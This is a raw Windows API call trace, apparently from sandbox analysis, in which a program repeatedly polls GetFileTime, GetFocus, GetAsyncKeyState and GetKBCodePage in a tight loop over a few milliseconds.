GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.907] GetFocus () returned 0x0 [0252.907] GetAsyncKeyState (vKey=58) returned 0 [0252.907] GetKBCodePage () returned 0x1b5 [0252.907] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.907] GetFocus () returned 0x0 [0252.907] GetAsyncKeyState (vKey=58) returned 0 [0252.907] GetKBCodePage () returned 0x1b5 [0252.907] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.907] GetFocus () returned 0x0 [0252.907] GetAsyncKeyState (vKey=58) returned 0 [0252.907] GetKBCodePage () returned 0x1b5 [0252.907] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.907] GetFocus () returned 0x0 [0252.907] GetAsyncKeyState (vKey=58) returned 0 [0252.907] GetKBCodePage () returned 0x1b5 [0252.907] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.907] GetFocus () returned 0x0 [0252.907] GetAsyncKeyState (vKey=58) returned 0 [0252.907] GetKBCodePage () returned 0x1b5 [0252.907] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.907] GetFocus () returned 0x0 [0252.908] GetAsyncKeyState (vKey=58) returned 0 [0252.908] GetKBCodePage () returned 0x1b5 [0252.908] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.908] GetFocus () returned 0x0 [0252.908] GetAsyncKeyState (vKey=58) returned 0 [0252.908] GetKBCodePage () returned 0x1b5 [0252.908] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.908] GetFocus () returned 0x0 [0252.908] GetAsyncKeyState (vKey=58) returned 0 [0252.908] GetKBCodePage () returned 0x1b5 [0252.908] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.908] GetFocus () returned 0x0 [0252.908] GetAsyncKeyState (vKey=58) returned 0 [0252.908] GetKBCodePage () returned 0x1b5 [0252.908] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.908] GetFocus () returned 0x0 [0252.908] GetAsyncKeyState (vKey=58) returned 0 [0252.908] GetKBCodePage () returned 0x1b5 [0252.908] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.908] GetFocus () returned 0x0 [0252.908] GetAsyncKeyState (vKey=58) returned 0 [0252.908] GetKBCodePage () returned 0x1b5 [0252.908] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.908] GetFocus () returned 0x0 [0252.908] GetAsyncKeyState (vKey=58) returned 0 [0252.908] GetKBCodePage () returned 0x1b5 [0252.908] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.908] GetFocus () returned 0x0 [0252.908] GetAsyncKeyState (vKey=58) returned 0 [0252.908] GetKBCodePage () returned 0x1b5 [0252.908] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.908] GetFocus () returned 0x0 [0252.908] GetAsyncKeyState (vKey=58) returned 0 [0252.908] GetKBCodePage () returned 0x1b5 [0252.908] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.908] GetFocus () returned 0x0 [0252.908] GetAsyncKeyState (vKey=58) returned 0 [0252.909] GetKBCodePage () returned 0x1b5 [0252.909] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.909] GetFocus () returned 0x0 [0252.909] GetAsyncKeyState (vKey=58) returned 0 [0252.909] GetKBCodePage () returned 0x1b5 [0252.909] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.909] GetFocus () returned 0x0 [0252.909] GetAsyncKeyState (vKey=58) returned 0 [0252.909] GetKBCodePage () returned 0x1b5 [0252.909] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.909] GetFocus () returned 0x0 [0252.909] GetAsyncKeyState (vKey=58) returned 0 [0252.909] GetKBCodePage () returned 0x1b5 [0252.909] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.909] GetFocus () returned 0x0 [0252.909] GetAsyncKeyState (vKey=58) returned 0 [0252.909] GetKBCodePage () returned 0x1b5 [0252.909] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.909] GetFocus () returned 0x0 [0252.909] GetAsyncKeyState (vKey=58) returned 0 [0252.909] GetKBCodePage () returned 0x1b5 [0252.909] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.909] GetFocus () returned 0x0 [0252.909] GetAsyncKeyState (vKey=58) returned 0 [0252.909] GetKBCodePage () returned 0x1b5 [0252.909] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.909] GetFocus () returned 0x0 [0252.909] GetAsyncKeyState (vKey=58) returned 0 [0252.909] GetKBCodePage () returned 0x1b5 [0252.909] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.909] GetFocus () returned 0x0 [0252.909] GetAsyncKeyState (vKey=58) returned 0 [0252.909] GetKBCodePage () returned 0x1b5 [0252.909] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.909] GetFocus () returned 0x0 [0252.909] GetAsyncKeyState (vKey=58) returned 0 [0252.909] GetKBCodePage () returned 0x1b5 [0252.910] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.910] GetFocus () returned 0x0 [0252.910] GetAsyncKeyState (vKey=58) returned 0 [0252.910] GetKBCodePage () returned 0x1b5 [0252.910] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.910] GetFocus () returned 0x0 [0252.910] GetAsyncKeyState (vKey=58) returned 0 [0252.910] GetKBCodePage () returned 0x1b5 [0252.910] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.910] GetFocus () returned 0x0 [0252.910] GetAsyncKeyState (vKey=58) returned 0 [0252.910] GetKBCodePage () returned 0x1b5 [0252.910] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.910] GetFocus () returned 0x0 [0252.910] GetAsyncKeyState (vKey=58) returned 0 [0252.910] GetKBCodePage () returned 0x1b5 [0252.910] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.910] GetFocus () returned 0x0 [0252.910] GetAsyncKeyState (vKey=58) returned 0 [0252.910] GetKBCodePage () returned 0x1b5 [0252.910] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.910] GetFocus () returned 0x0 [0252.910] GetAsyncKeyState (vKey=58) returned 0 [0252.910] GetKBCodePage () returned 0x1b5 [0252.910] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.910] GetFocus () returned 0x0 [0252.910] GetAsyncKeyState (vKey=58) returned 0 [0252.910] GetKBCodePage () returned 0x1b5 [0252.910] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.910] GetFocus () returned 0x0 [0252.910] GetAsyncKeyState (vKey=58) returned 0 [0252.910] GetKBCodePage () returned 0x1b5 [0252.910] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.910] GetFocus () returned 0x0 [0252.910] GetAsyncKeyState (vKey=58) returned 0 [0252.911] GetKBCodePage () returned 0x1b5 [0252.911] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.911] GetFocus () returned 0x0 [0252.911] GetAsyncKeyState (vKey=58) returned 0 [0252.911] GetKBCodePage () returned 0x1b5 [0252.911] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.911] GetFocus () returned 0x0 [0252.911] GetAsyncKeyState (vKey=58) returned 0 [0252.911] GetKBCodePage () returned 0x1b5 [0252.911] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.911] GetFocus () returned 0x0 [0252.911] GetAsyncKeyState (vKey=58) returned 0 [0252.911] GetKBCodePage () returned 0x1b5 [0252.911] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.911] GetFocus () returned 0x0 [0252.911] GetAsyncKeyState (vKey=58) returned 0 [0252.911] GetKBCodePage () returned 0x1b5 [0252.911] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.911] GetFocus () returned 0x0 [0252.911] GetAsyncKeyState (vKey=58) returned 0 [0252.911] GetKBCodePage () returned 0x1b5 [0252.911] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.911] GetFocus () returned 0x0 [0252.911] GetAsyncKeyState (vKey=58) returned 0 [0252.911] GetKBCodePage () returned 0x1b5 [0252.911] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.911] GetFocus () returned 0x0 [0252.911] GetAsyncKeyState (vKey=58) returned 0 [0252.911] GetKBCodePage () returned 0x1b5 [0252.911] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.911] GetFocus () returned 0x0 [0252.911] GetAsyncKeyState (vKey=58) returned 0 [0252.911] GetKBCodePage () returned 0x1b5 [0252.911] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.911] GetFocus () returned 0x0 [0252.911] GetAsyncKeyState (vKey=58) returned 0 [0252.912] GetKBCodePage () returned 0x1b5 [0252.912] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.912] GetFocus () returned 0x0 [0252.912] GetAsyncKeyState (vKey=58) returned 0 [0252.912] GetKBCodePage () returned 0x1b5 [0252.912] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.912] GetFocus () returned 0x0 [0252.912] GetAsyncKeyState (vKey=58) returned 0 [0252.912] GetKBCodePage () returned 0x1b5 [0252.912] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.912] GetFocus () returned 0x0 [0252.912] GetAsyncKeyState (vKey=58) returned 0 [0252.912] GetKBCodePage () returned 0x1b5 [0252.912] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.912] GetFocus () returned 0x0 [0252.912] GetAsyncKeyState (vKey=58) returned 0 [0252.912] GetKBCodePage () returned 0x1b5 [0252.912] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.912] GetFocus () returned 0x0 [0252.912] GetAsyncKeyState (vKey=58) returned 0 [0252.912] GetKBCodePage () returned 0x1b5 [0252.912] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.912] GetFocus () returned 0x0 [0252.912] GetAsyncKeyState (vKey=58) returned 0 [0252.912] GetKBCodePage () returned 0x1b5 [0252.912] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.912] GetFocus () returned 0x0 [0252.912] GetAsyncKeyState (vKey=58) returned 0 [0252.912] GetKBCodePage () returned 0x1b5 [0252.912] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.912] GetFocus () returned 0x0 [0252.912] GetAsyncKeyState (vKey=58) returned 0 [0252.912] GetKBCodePage () returned 0x1b5 [0252.912] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.912] GetFocus () returned 0x0 [0252.912] GetAsyncKeyState (vKey=58) returned 0 [0252.913] GetKBCodePage () returned 0x1b5 [0252.913] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.913] GetFocus () returned 0x0 [0252.913] GetAsyncKeyState (vKey=58) returned 0 [0252.913] GetKBCodePage () returned 0x1b5 [0252.913] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), 